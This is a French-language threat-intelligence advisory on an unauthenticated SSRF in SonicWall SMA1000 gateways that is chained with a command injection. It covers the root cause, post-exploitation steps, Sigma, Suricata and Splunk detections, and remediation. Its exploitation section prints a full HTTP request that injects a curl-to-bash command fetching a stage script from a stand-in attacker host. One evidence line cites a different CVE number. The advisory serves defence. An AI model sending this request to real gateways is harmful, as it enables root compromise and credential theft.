CVE-2026-83548 : SSRF non authentifié critique et compromission de passerelle SonicWall SMA1000

HTS

HERMES THREAT SCORE & EXPLOITABILITÉ OPÉRATIONNELLE

Cible : Passerelles Matérielles et Virtuelles SonicWall SMA1000 (SMA 6210, 7210, 8200v)

Confiance : 99%

96 / 100

EXTRÊME

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions

Exploitabilité 20 / 20

Activité de menace 20 / 20

Militarisation 15 / 20

Exposition 15 / 20

Prévalence 14 / 20

Impact 12 / 20

⚖️ Divergence & Justification opérationnelle

Élevé à 96 EXTREME par Hermes en raison de son score maximal CVSS 10.0, de son exploitabilité directe à distance sans authentification, de son inscription au catalogue CISA KEV le 2 septembre 2026 et de son exploitation massive par les courtiers d'accès initial (IAB).

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-83548: SonicWall SMA1000 Remote Unauthenticated SSRF & Edge Gateway TakeoverVULNÉRABILITÉ

Nœuds connectés : 1

Relations sortantes actives

→ affectsCOMPOSANTSonicWall SMA1000 Gateway

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in SonicWall SMA1000 Gateway documented in Hermes dossier.”

Preuves vérifiées associées :

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)

Alerte CISA KEV et remédiation obligatoire

Cette vulnérabilité a été ajoutée au catalogue des vulnérabilités exploitées connues (KEV) de la CISA le 2 septembre 2026 au titre de la directive opérationnelle contraignante BOD 26-04. Les organisations exploitant des passerelles SonicWall SMA1000 doivent impérativement appliquer les correctifs ou isoler ces équipements d’Internet.

Résumé exécutif

CVE-2026-83548 (CVSS v3.1 : 10.0 Critique, CWE-918 Falsification de Requête Côté Serveur / SSRF) est une faille non authentifiée affectant les passerelles d’accès distant sécurisé SonicWall Secure Mobile Access (SMA) série 1000. La faille réside dans le moteur de proxy inverse HTTP et d’acheminement administratif de l’équipement. En forgeant une requête HTTP avec des en-têtes de destination arbitraires, un attaquant distant non authentifié peut forcer l’équipement à émettre des requêtes HTTP internes vers les démons d’administration locaux écoutant sur 127.0.0.1. Dans les intrusions observées, les attaquants enchaînent cette SSRF avec la CVE-2026-83549 (injection de commandes système dans les API de gestion internes) pour exécuter du code arbitraire avec les privilèges root, extraire les sessions VPN actives et voler les identifiants de domaine Active Directory.

Analyse de la cause racine (root cause)

Les passerelles SonicWall SMA1000 agissent comme concentrateurs SSL-VPN pour les accès des collaborateurs distants. Le service web frontal (basé sur une architecture de proxy inverse avec modules C et Lua propriétaires) expose des points d’accès publics pour l’authentification et les contrôles de conformité :

Défaut de Proxy Inverse SonicWall SMA1000 & Escalade Interne :

   Attaquant Externe (Non Authentifié) :
   POST /services/reverseproxy/v1/forward HTTP/1.1
   Host: vpn.target-enterprise.com
   X-Forwarded-Host: 127.0.0.1:8080
   X-Internal-Destination: /internal/api/v1/system/diagnostics
                 │
                 ▼
   Passerelle Frontale Apache / Nginx
   ┌──────────────────────────────────────────────────────────────┐
   │ Logique de Répartition du Proxy Inverse :                    │
   │ 1. Point d'accès exposé sans authentification                │
   │ 2. Échec de validation de la liste blanche des en-têtes hôte │
   │ 3. Transfert de la requête en local vers 127.0.0.1:8080      │
   └──────────────────────────────────────────────────────────────┘
                 │
                 ▼
   Démon Interne de Gestion sur le port 8080
   ┌──────────────────────────────────────────────────────────────┐
   │ Service d'Administration à Hauts Privilèges :                │
   │ - Présume que l'appelant est authentifié par le frontal      │
   │ - Expose des méthodes RPC d'administration directe           │
   │ - Exécute des diagnostics système (chaîné avec CVE-2026-83549)│
   └──────────────────────────────────────────────────────────────┘
                 │
                 ▼
   [PRISE DE CONTRÔLE SYSTÈME CRITIQUE (SHELL ROOT)]
   Vol des sessions VPN, jetons MFA et comptes de service Active Directory

Le défaut de relais interne non authentifié

Le défaut prend sa source dans le traitement des chemins et l’acheminement des requêtes au sein du gestionnaire frontal. Conçu pour autoriser les utilisateurs non connectés à récupérer des éléments graphiques du portail, le composant présente des faiblesses majeures :

1. Réécriture d’en-têtes sans filtrage : le proxy interprète les en-têtes personnalisés (X-Forwarded-Host, X-Internal-Destination) sans les supprimer ni vérifier leur correspondance avec une liste blanche stricte.
2. Confiance aveugle envers le trafic local : les démons internes (écoutant sur 127.0.0.1:8080 et 127.0.0.1:9090) acceptent aveuglément toute connexion provenant du bouclage local, sous l’hypothèse erronée que le trafic externe ne pourrait jamais atteindre ces sockets.
3. Synergie de chaîne d’attaque (CVE-2026-83548 + CVE-2026-83549) : la SSRF permet d’atteindre une interface de diagnostic vulnérable à une injection de commandes OS (CVE-2026-83549). L’injection de métacaractères shell permet d’obtenir un shell distant root sans authentification préalable.

Mécanismes d’exploitation et télémétrie des intrusions

Les cellules de réponse à incident (DFIR) ont observé une exploitation systématique en plusieurs étapes :

1. Brèche de périmètre et exécution de code

L’attaquant émet une requête HTTP unique vers l’adresse IP publique de la passerelle :

POST /services/reverseproxy/v1/forward HTTP/1.1
Host: target-vpn.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
X-Forwarded-Host: 127.0.0.1:8080
Content-Length: 148

{
  "target_service": "diagnostics",
  "action": "ping",
  "parameters": {
    "host": "127.0.0.1;curl -s https://c2.adversary.xyz/stage.sh|bash"
  }
}

Le frontal relaye directement la charge vers http://127.0.0.1:8080/internal/api/v1/system/diagnostics, qui exécute l’argument host dans un appel shell système, établissant un accès persistant.

2. Post-exploitation et pivot Active Directory

Dès l’accès root obtenu sur la passerelle SMA1000 :

• Extraction de jetons de session : vidage de la base sqlite locale (/var/run/sma_sessions.db) contenant les cookies de session et les jetons MFA des utilisateurs connectés.
• Vol de comptes de service LDAP : extraction des mots de passe en clair des comptes de service Active Directory configurés pour synchroniser l’annuaire d’entreprise.
• Tunnels réseau et pivot latéral : déploiement de relais SOCKS5 permettant aux affiliés de ransomware de contourner les pare-feux et de cibler directement les contrôleurs de domaine via SMB et RDP.

Liens croisés : cyber-renseignement et playbooks de réponse

Référence Codex	Identifiant	Pertinence et lien avec la menace
Profil d’attaquant	Courtiers d’accès initial (IAB)	Les IAB arment les zero-days sur passerelles VPN pour revendre des accès sur les forums clandestins.
Ransomware CTI	Ransomware Akira	Principal groupe cybercriminel observé exploitant les équipements SonicWall pour ses intrusions.
Ransomware CTI	Ransomware Qilin	Groupe utilisant les accès VPN volés pour déployer ses chiffreurs sur les hyperviseurs.
Playbook d’incident	Enquête sur incident de ransomware	Guide DFIR complet sur le confinement, la collecte de logs et la mémoire après compromission de passerelle.
Playbook d’incident	Mouvement latéral : SMB vs RDP	Analyse forensique du basculement d’une passerelle vers les environnements Windows Active Directory.
Failles de passerelles associées	CVE-2026-46580 et CVE-2026-22708	Étude comparative des zero-days Ivanti Connect Secure et Fortinet FortiOS.
Studio interactif	AgentThreat Studio	Modélisation des passerelles de périmètre comme canaux d’entrée non fiables dans les architectures IA.

Indicateurs forensiques et ingénierie de la détection

Règle Sigma

title: Tentative d'exploitation SSRF sur proxy inverse SonicWall SMA1000
id: 9a7b5d12-8812-4fe1-992a-sonicwall001-fr
status: stable
description: Détecte les requêtes HTTP suspectes vers les points d'accès du proxy SonicWall SMA1000 contenant des en-têtes de bouclage local ou des métacaractères d'injection.
author: Hermes Codex CTI
date: 2026-09-08
references:
  - CVE-2026-83548
  - CVE-2026-83549
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059.004
logsource:
  category: webserver
  product: sonicwall_sma
detection:
  selection_path:
    cs-method: 'POST'
    cs-uri-stem|contains:
      - '/services/reverseproxy/'
      - '/forward'
  selection_header:
    cs-header|contains:
      - '127.0.0.1'
      - 'localhost'
      - '8080'
      - '9090'
  selection_payload:
    cs-uri-query|contains:
      - ';'
      - '|'
      - '`'
      - '$('
  condition: selection_path and (selection_header or selection_payload)
falsepositives:
  - Scripts administratifs internes exécutés légitimement en local.
level: critical

Signature Suricata

alert tcp $EXTERNAL_NET any -> $HOME_NET [443,8443] (
    msg:"HERMES-CODEX - Tentative SSRF non authentifiée SonicWall SMA1000 (CVE-2026-83548)";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/services/reverseproxy/"; http_uri;
    pcre:"/(X-Forwarded-Host|X-Internal-Destination)\s*:\s*(127\.0\.0\.1|localhost)/i";
    classtype:web-application-attack;
    sid:202683548;
    rev:1;
    reference:cve,2026-83548;
)

Recherche Splunk

index=firewall sourcetype="sonicwall:sma"
| search uri_path="*/services/reverseproxy/*"
| eval is_suspicious=if(match(http_headers, "(127\.0\.0\.1|localhost|8080|9090)"), 1, 0)
| where is_suspicious=1 OR status=500 OR status=200
| stats count earliest(_time) as premier_vu latest(_time) as dernier_vu by src_ip, dest_ip, uri_path, status, http_user_agent
| sort - count

Matrice de remédiation et durcissement

1. Déploiement immédiat des correctifs

Appliquer les correctifs officiels de SonicWall sans délai :

• Série SMA 1000 (physique et virtuel) : mettre à niveau vers le micrologiciel 12.4.3-hotfix-202609 ou 12.1.0-hotfix-202609.
• Contrôler les empreintes cryptographiques des paquets de mise à jour avant leur déploiement.

2. Restriction de l’exposition internet

• Désactiver l’accès public au portail d’administration. Ce dernier doit être réservé aux sous-réseaux d’administration hors-bande (OOB).
• Positionner un pare-feu applicatif (WAF) devant le portail VPN pour filtrer les en-têtes de routage arbitraires.

3. Révocation immédiate des identifiants

En cas de soupçon d’exploitation :

• Réinitialiser tous les mots de passe des comptes de service Active Directory renseignés sur la passerelle.
• Invalider l’intégralité des sessions SSL-VPN actives et imposer une ré-authentification MFA à l’échelle de l’entreprise.

---

Sources et références techniques

• Catalogue CISA KEV : entrée BOD 26-04 pour CVE-2026-83548
• Avis de sécurité SonicWall : SNWLID-2026-0018
• Playbooks Hermes associés : enquête sur incident de ransomware et Attaques sur identifiants Active Directory
• Renseignement sur la menace : courtiers d’accès initial (IAB) et Ransomware Akira
• Faille de passerelle comparative : zero-day Ivanti Connect Secure CVE-2026-46580